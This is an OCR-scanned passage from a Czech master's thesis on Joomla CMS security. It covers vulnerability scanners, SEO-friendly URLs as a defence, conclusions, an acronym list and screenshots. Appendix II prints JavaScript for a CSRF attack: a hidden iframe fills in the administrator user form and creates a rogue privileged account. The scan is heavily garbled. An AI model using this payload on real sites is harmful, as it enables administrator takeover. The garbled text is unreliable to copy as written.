NAME

PARAMETER
TYPE

ATTACK
PATTERN

Querystring

"NSFTW '

Obr. 34. Nalezeni SQL Injection zranitelnosti skenerem Netsparker

Pokud je témto aplikacim pfedlozena stranka, na niz se vyskytuje URL adresa obsahujici
neosetfené proménné, dokazi ji spolehlivé detekovat. Zatimco nastroje uréené pro CMS
Joomla hledaji rozsiteni, o kterych védi, Ze jsou zranitelné. Univerzalni nastroje dikladné
testuji kazdy parametr adresy nebo existujici odkaz doplni jesté o dalsi pravdépodobnou
proménnou, kterou poté provéti. Idedlni nastroj by mél nejdiive zjistit, zda je cilovy web
pohanén nékterym z populdrnich redak¢nich systému, a K testovani pak pfistupovat
s ohledem na tuto skutecnost. Tato funkce je CasteCn¢ implementovana do skeneru N-
Stalker. Sprava databaze vSech exploitli a zranitelnych rozsifeni pro kazdy z redakénich
systém je ale pfili§ naro€nd. Zajimavym feSenim je open source aplikace w3af pouZzivajici
systém plugini. Komunita kolem kazdého redakéniho systému by jej pak mohla udrzovat

aktualni.

Obranou proti skenovani redakéniho systému ze strany Gtocnika miiZzou byt Search Engine
Friendly URL. Adresy jsou pak podle aliasi pfepisovany do tvaru
,kategorie/kategorie/clanek* a skryvaji informace, které mohou uto¢nikovi usnadnit priinik
do systému. Automatické skenery takové adresy povazuji za adresafovou strukturu webu a

Kk parametrim pivodnich URL nemaji pfistup.

Jak uZ bylo zminéno v tvodu, nastroje pro automatickou analyzu webovych aplikaci slouzi
pouze k dikazu existence zranitelnosti. Nelze se na n¢ tedy spolehnout a plné jim

daverovat v piipadech, kdy zadnou neobjevi.
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ZAVER

V internetovych diskuzich lze ¢asto narazit na nazor, Ze nejlepSim feSenim je vzdy na miru,
prakticky od nuly postavena aplikace. Je ale vzdy nutné vynalézat to co uz pifed nami
nékdo vytvofil? Vyvoj open source redakénich systémi je zajistén komunitou a vétSinu
problému uz nékdo fesil a také vytesil. Hlavnim argumentem pak byva zranitelnost téchto

aplikaci, kdy jsou ¢asto oznacovany jako ,,déravy open source®.

Otevieny kod se na prvni pohled muze zdat rizikem predev§im kvili castému nazoru, Ze
tajné je zaroven bezpetné. Dnesni pokrocilé kryptografické metody jsou zaloZeny na
predpokladu, ze uto¢nik bude znat schéma Sifrovaciho algoritmu, a pfesto jsou bezpecné.
Open source ma k bezpecnosti velmi podobny pfistup. Skryvanim zdrojového kddu nelze
dosahnout takové tirovné zabezpeceni, protoze ani nejdokonalejsi spolecnost zabyvajici se
vyvojem software nedokaze garantovat, ze se jejich zdrojové koédy nikdy nedostanou
k vetejnosti. Vzdy by se mélo pocitat s nejhor§im scénafem, tedy S tim, ze uto¢nik bude

mit ke zdrojovym kédim piistup.

V piipad€é open source samoziejmé¢ nevime, kdo je autorem kazdé fadky aplikace, a
zavleCeni $kodlivého kodu je tak jistym rizikem. Pravdépodobnost takového scénaie
Vv piipad¢é komer¢niho vyvoje ale neni o moc niZsi. Pocet uZivateli, ktefi otevieny zdrojovy
koéd studuji s dobrym tmyslem, je bezpochyby pievySuje pocet téch, kteti v ném hledaji
bezpecnostni diry, aby je nasledné mohli zneuzit. Ptipadna zadni vratka a zranitelnosti tedy
neziistanou dlouho skryty. Kdyz vroce 2004 unikla ¢ast zdrojového kodu Microsoft
Windows 2000 a NT 4.0, byly vném objeveny zavazné nedostatky, které umoznily

hackerim vytvofit nové exploity a také vylepsit ty stavajici.

Nejvétsi zranitelnosti vSech redakénich systémil je uZivatel, ktery pouZziva slaba hesla
nachazejici se na prvnich fadcich vétSiny slovnikd. Zakladni pravidla a nastaveni ignoruje
nebo je povazuje za zbytecné a neni ani ochotny vénovat ¢as nadstandartnim
bezpe¢nostnim opatfenich v podobé rozSifeni nebo moznosti souboru .htaccess
navzdory skutec¢nosti, Ze jejich implementace je ¢asové nenarocna a diky mnozstvi navodii
také jednoducha. Testovani nebo aktualizace neprovadi a ptipadné problémy pak takovy

uZzivatel fesi nastavenim prav na hodnotu 777, ¢imz prakticky cely web odsoudi k zaniku.

Aby tyto situace nenastavaly, byly v praktické casti prace vytvofeny webové stranky
poskytujici zdkladni informace o zabezpeceni redakéniho systému Joomla. Predpokladam,

7e jejich obsah bude v budoucnu jesté doplnén o dalsi kategorie, diskuzi ¢i komentaie.
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ZAVER V ANGLICTINE

There is a widespread belief on internet discussions that the best solution for any case is
application tailored from scratch. But is it really necessary to reinventing what already
exists? Open source software development is provided by community and most of the
issues have already been discussed and solved. The main argument against using the open

source is vulnerability, because hundreds of loopholes that have been discovered yet.

At first glance, it might seem a risk to use the open source. People often assume that
secrecy equals security. Today’s strong cryptography is based on the assumption that an
adversary will know what the encryption scheme is, but it is nevertheless still safe for
usage. Open source has a very similar approach to security. Hiding source code is not a
god way to achieve security, because even a powerful proprietary software development
company can’t guarantee that source code won’t leak out. Security should be based on a

worst-case scenario. We should assume that our adversary get access to the source code.

Of course we do not know author of each line of open source application and bad code
allowing some kind of exploit could be included by anybody, but there is no different from
proprietary software. Number of people that support the cause of open source and
contribute to it in a positive way is certainly higher than number of harmful hackers who
are looking for loopholes in code. Potential backdoor would be possibly discovered very
soon. In 2004, it was reported that part of the source code for Microsoft Windows 2000
and NT 4.0 had been leaked to the Internet. The leaks of the source code present a serious
security issue, and hackers used the information to launch new or improved attacks against

these types of operating systems.

The biggest vulnerabilities of all CMS are through the users choosing weak passwords,
which can be found on wordlists first lines. These users ignore the basic rules and settings
and they are not willing to spend some time with additional security measures using
security extensions or .htaccess, in spite of the fact that this is the easiest way to add

some extra security layer.

They do not test or install security updates and try to solve potential problems by simple
setting chmod to 777, which is the most dangerous action. There is a Joomla based website
in the practical part, which is devoted to CMS security, so these types of situations should
not occur so often. | would like to extend the content of the website by adding another

categories, comments or discussion in the future.
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CMS Content Management System
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MD5
OCR
OSE
PDF
PHP
PS

RS
RSA
RSS
SEO
SMF
SQL
SSL
SSH
STS
URL
VPS
WAMP
WYSIWYG
XAMPP

XSS

Long Term Support

Message Digest 5

Optical Character Recognition
Open Source Excellence
Portable Document Format
Hypertext Preprocessor
Prepared Statemants
Redakéni systém

inicialy autord Rivest, Shamir, Adleman
Really Simple Syndication
Search Engine Optimization
Simple Machines Forum
Structured Query Language
Secure Sockets Layer

Secure Shell

Short Term Support

Uniform Resource Locator

Virtual Private Server

Akronym ze slov Windows, Apache, MySQL, PHP (také Perl nebo Python)

What you see is what you get

Akronym ze slov X (cross-platform), Apache, MySQL, PHP, Perl, Tomcat

Cross-Site Scripting
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PRILOHA PI: NAHLED VYTVORENYCH WEBOVYCH STRANEK

5

Vyhledavani... Q,
! Drupal Obnoveni po itoku Joomla
| Drupal CMS Drupal vytvofil Obnoveni funkce redakéniho Joomla! Open source licence
‘ holandsky student Dries systému po Utoku Po Gspésné umozZnuje redistribuovat
Buytaert a pojmenoval jej provedeném ttokd mize alternativni vétev programu,
Drop. Tento ndzev vznikl z hacker nahradit kritické kterd je vyvijena nezdvisle, |
| pfeklepu slova ,dorp™ - soubory Joomly vlastnimi, pod jinym jménem a zpravidla .
holandsky... které obsahuji zadni... i |

{ Redakéni 0Open Source

®." systémy vs. kemeréni

B | @ ore] G v )

Joomlal

Open source icence umoznuje redistribuovat alternativni vétev programu, ktera je vyvijena nezavisle, pod jinym jménem a zpravidla i
jinymi lidmi. Takova aplikace je pak oznatovana vyrazem ,fork”. Joomla je jednim z nejlisp&3n&jsich ,forki*“ vibec.

Joomla je licencovana pod GNU General Public License a na svych webech ji s oblibou pouZivaji jednotlivci, malé a stfedni podniky i velke
organizace po celém svété. Joomla slouZi pro u€ely publikovani informaci na internetu i intranetu. Je napsana v jazyce PHP a od verze 2.5
podporuje kromé MySQL dalsi typy databazi jako PostgreSQL, Orade, SQLite apod. Provozovat ji lze na weboveém serveru s Apache nebo IIS.
V zakladni instalaci Joomla podporuje caching, RSS, tisknutelné verze strianek, indexaci stranek, zobrazovani novinek, blogy, hlasovani,
kalendar, vyhledavani v ramci webu nebo vicejazyéné verze stranek. Dalsi funkee jako chat, aukce, inzerce a dalsi mohou byt snadno
pridany instalaci rozsirent. Vystupem Joomly je HTML, €SS, a JavaScript.

Joomla pohant napfiklad stranky Harwardské univerzity, Holandského Telecomu, Islandského Vodafonu &i spolenosti Danone. Z ceskych
webli patfi mezi nejpopularnéj3i portal ProZeny.cz patfici pod Seznam.

£ Joomlal

..because open source matters

Zrozeni systému Joomla

PrestoZe se aplikace stala popularni v roce 2005, jeji kofeny sahaji aZ do roku 2001, kdy byl vytvoren open source CMS s nazvem Mambo,
pivodné interni systém australské spoleénosti Miro Corporation. V roce 2005 dolo k vzajemnym neshodam mezi komunitou a spolecnosti,
zastitujici vyvoj Mamba. V srpnu byl vyvoj Mamba ukoncen a o mésic pozdgji spatrila svétlo svéta prvni verze projektu Joomla. Ta byla
témér identicka s produktem Mambo 4.5.2.3. Byly pouze opraveny nékteré bezpecnostni chyby. Problémy s organizaci projektu Mambo
zpisobily, Ze se o n&j open source komunita pfestala zajimat a plné se zaméfila na vyvoj systému Joomla.

Nazev Joomlal je anglicky foneticky prepis svahilského slova ,,jumla“ [dZumla], které znamena ,vSichni dohromady® nebo v celku®. Tento
nazev byl vybran jako zavazek vyvojarskeho tymu a komunity k tomuto projektu.

Vyvojovy cyklus

Vydané verze se dale déli na LTS a STS. LTS (s dlouhodobou podporou) je oznacovana minoritnim Cislem 5. Jedna se o hlavni verzi
podporovanou minimalné 1,5 roku a vychazet by méla v dvou letych intervalech. STS (s kratkodobou podporou) je vydavana kazdych 6
mésict a stejna je i doba podpory. Tato verze je urfena pro wyvojare a testovani komunitou, nikoli k ostrému provozu.

Verze Datum vydani
2.5 (LTS) 2012-03
3.0 2012-09
3.1 2013-03
3.2 2013-09
3.5 (LT5) 2014-03

Silné stranky

@ Od verze 2.5 pokroéild sprava uZivatelskych prav a vicejazyény web

@ Velmi aktivni uZivatelsksd komunita a mnoZstvi dokumentace k dispozici

@ Oddélend administrace stranek (backend) od uZivatelské £3sti (frontend)
@ Sprava stranek nenf tak intuitivnf jako u jinych redakénich systémd

@ Rozéifeni tasto nejsou zpétné kompatibilni

Slabé stranky

J4
@ Sprava stranek neni tak intuitivni jako u jinych redakénich systémd = Ll
@ Roziifeni £asto nejsou zpétné kompatibilni .g ¢
@ Pro jednoduché stranky pfilis pokrogily g

|_Odhlasit se |

x L
Univerzita Tomage Bati ve Zliné

Fakulta Aplikované Informatiky



PRILOHA P II: JAVASCRIPT POUZITY K CSRF UTOKU

1l document.writeln('<iframe id="iframe" src="http://122.168.5.100/
=+ hackl63/administrator/index.php?option=com usSersiview—usSers
¢ layout=edit"™ width="0" height="0" style="vizibility:hidden;"
=¢ onload="read () "></iframe>"):

2

3 function read/()

4 {

5 var name="hacker";

& var username="hack";

T var password="1234";

8 var email="falesnyEmail.com";

9

10 document.getElementById ("iframe™) .contentDocument . form= [0] .
4 jform name.wvalue = name;
11 document .getElementById ("iframe™) .contentDocument . forms [0] .
=+ jform username.value = username;
12 document .getElementById ("iframe™) .contentDocument . forms [0] .
=+ jform password.value = password;
13 document.getElementById ("iframe™) .contentDocument . form=[0] .
= jform password?.wvalue = password;
14 document.getElementById ("iframe™) .contentDocument . forms [0] .
=+ jform email.wvalue = email;
15 document.getElenentById ("iframe™) .contentDocument . forms [0] .

=+ getElementById ("lgroup 8") .checked=true;
16 document ..getElementById ("iframe™) .contentDocument .
=+ getElementsByTaglame ("a™) [11].click()



PRILOHA P I1I: PRILOZENE CD

e Diplomova prace fulltext.pdf

e Zaloha webovych stranek zaloha.jpa

e Balik pro rozbaleni a instalaci zalohy kickstart

e Skript pro zménu chmod prav soubor a adresait chmod.php
e Skript pro automatické spousténi zalohovani backup.php

e Skript pro generovani mapy stranek filelist.php



